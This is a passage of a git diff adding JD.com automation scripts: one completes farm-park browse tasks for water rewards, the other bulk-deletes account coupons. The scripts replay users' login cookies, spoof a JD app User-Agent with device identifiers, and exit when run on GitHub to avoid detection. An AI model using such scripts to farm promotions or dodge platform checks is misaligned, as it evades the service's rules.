module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_ddly.js b/jd_ddly.js new file mode 100644 index 0000000..e4ab771 --- /dev/null +++ b/jd_ddly.js @@ -0,0 +1,211 @@ +/* +东东乐园@wenmoux +活动入口:东东农场->东东乐园(点大风车 +好像没啥用 就20💧 +更新地址:https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js +已支持IOS双京东账号, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东乐园 +30 7 * * * https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js, tag=东东乐园, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "30 7 * * *" script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js tag=东东乐园 + +===============Surge================= +东东乐园 = type=cron,cronexp="30 7 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js + +============小火箭========= +东东乐园 = type=cron,script-path=https://raw.githubusercontent.com/Wenmoux/scripts/wen/jd/jd_ddnc_farmpark.js, cronexpr="30 7 * * *", timeout=3600, enable=true + + */ +const $ = new Env('东东乐园'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + +const randomCount = $.isNode() ? 20 : 5; +const notify = $.isNode() ? require('./sendNotify') : ''; +let merge = {} +let codeList = [] +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +const JD_API_HOST = `https://api.m.jd.com/client.action`; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.beans = 0 + $.taskList = [] + message = '' + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await parkInit() + for (task of $.taskList) { + if (task.topResource.task.status == 3) { + console.log(`任务 ${task.topResource.title} 已完成`) + } else { + console.log("去浏览:" + task.topResource.title) + let index = task.name.match(/\d+/)[0] - 1 + console.log(task.topResource.task.advertId, index, task.type) + await browse(task.topResource.task.advertId) + await $.wait(1000); + await browseAward(task.topResource.task.advertId, index, task.type) + } + } + // console.log(`\n集勋章得好礼 By:【zero205】`) + // console.log(`\n由于我自己写这个脚本的时候已经手动开启活动了\n所以不知道开启活动的代码\n没有开启的手动开启吧,活动入口:东东农场->水车\n`) + // await collect() + } + } + + +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + + + + +function browseAward(id, index, type) { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_browseAward", `{"version":"1","channel":1,"advertId":"${id}","index":${index},"type":${type}}`) + // console.log(options) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + // console.log(data) + if (data.result) { + console.log("领取奖励成功,获得💧" + data.result.waterEnergy) + } else { + console.log(JSON.stringify(data)) + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function browse(id) { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_markBrowser", `{"version":"1","channel":1,"advertId":"${id}"}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + console.log(`浏览 ${id} : ${data.success}`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +function parkInit() { + return new Promise(async (resolve) => { + const options = taskUrl("ddnc_farmpark_Init", `{"version":"1","channel":1}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + // console.log(data) + if (data.buildings) { + $.taskList = data.buildings.filter(x => x.topResource.task) + } else { + console.log("获取任务列表失败,你不会是黑鬼吧") + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(functionId, body) { + const time = Date.now(); + return { + url: "https://api.m.jd.com/client.action", + body: `functionId=${functionId}&body=${encodeURIComponent(body)}&client=wh5&clientVersion=1.0.0&uuid=`, + headers: { + Accept: "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Cookie: cookie, + Host: "api.m.jd.com", + Referer: "https://h5.m.jd.com/babelDiy/Zeus/J1C5d6E7VHb2vrb5sJijMPuj29K/index.html?babelChannel=ttt1&lng=107.147086&lat=33.255079&sid=cad74d1c843bd47422ae20cadf6fe5aw&un_area=8_573_6627_52446", + "User-Agent": "jdapp;android;9.4.4;10;3b78ecc3f490c7ba;network/UNKNOWN;model/M2006J10C;addressid/138543439;aid/3b78ecc3f490c7ba;oaid/7d5870c5a1696881;osVer/29;appBuild/85576;psn/3b78ecc3f490c7ba|541;psq/2;uid/3b78ecc3f490c7ba;adk/;ads/;pap/JA2015_311210|9.2.4|ANDROID 10;osv/10;pv/548.2;jdv/0|iosapp|t_335139774|appshare|CopyURL|1606277982178|1606277986;ref/com.jd.lib.personal.view.fragment.JDPersonalFragment;partner/xiaomi001;apprpd/MyJD_Main;Mozilla/5.0 (Linux; Android 10; M2006J10C Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045227 Mobile Safari/537.36", + } + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_delCoupon.js b/jd_delCoupon.js new file mode 100644 index 0000000..5cb6e53 --- /dev/null +++ b/jd_delCoupon.js @@ -0,0 +1,235 @@ +/* + +0 0 * 6 * jd_delCoupon.js + +*/ +const $ = new Env('删除优惠券'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多少个已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消多少个已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +let delCount = 0; +let hasKeyword = 0; // 包含关键词的券 +const JD_API_HOST = 'https://wq.jd.com/'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】删除优惠券失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getCoupon(); + await showMsg(); + } + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +function delCoupon(couponId, couponTitle) { + return new Promise(resolve => { + const options = { + url: `https://wq.jd.com/activeapi/deletecouponlistwithfinance?couponinfolist=${couponId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKC&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.retcode === 0) { + console.log(`删除优惠券---${couponTitle}----成功\n`); + delCount++; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getCoupon() { + return new Promise(resolve => { + let states = ['1', '6'] + for (let s = 0; s < states.length; s++) { + let options = { + url: `https://wq.jd.com/activeapi/queryjdcouponlistwithfinance?state=${states[s]}&wxadd=1&filterswitch=1&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + 'authority': 'wq.jd.com', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept': '*/*', + 'referer': 'https://wqs.jd.com/', + 'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'cookie': cookie + } + } + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let couponTitle = '' + let couponId = '' + if (states[s] === '6') { + // 删除已过期 + let expire = data['coupon']['expired'] + for (let i = 0; i < expire.length; i++) { + couponTitle = expire[i].couponTitle + couponId = escape(`${expire[i].couponid},1,0`); + await delCoupon(couponId, couponTitle) + } + // 删除已使用 + let used = data['coupon']['used'] + for (let i = 0; i < used.length; i++) { + couponTitle = used[i].couponTitle + couponId = escape(`${used[i].couponid},0,0`); + await delCoupon(couponId, couponTitle) + } + } else if (states[s] === '1') { + // 删除可使用且非超市、生鲜、京贴 + let useable = data.coupon.useable + for (let i = 0; i < useable.length; i++) { + couponTitle = useable[i].limitStr + couponId = escape(`${useable[i].couponid},1,0`); + if (!isJDCoupon(couponTitle)) { + await delCoupon(couponId, couponTitle) + } else { + $.log(`跳过删除:${couponTitle}`) + hasKeyword++; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + } + }) +} + +function isJDCoupon(title) { + if (title.indexOf('京东') > -1) + return true + else if (title.indexOf('超市') > -1) + return true + else if (title.indexOf('京贴') > -1) + return true + else if (title.indexOf('全品类') > -1) + return true + else if (title.indexOf('话费') > -1) + return true + else if 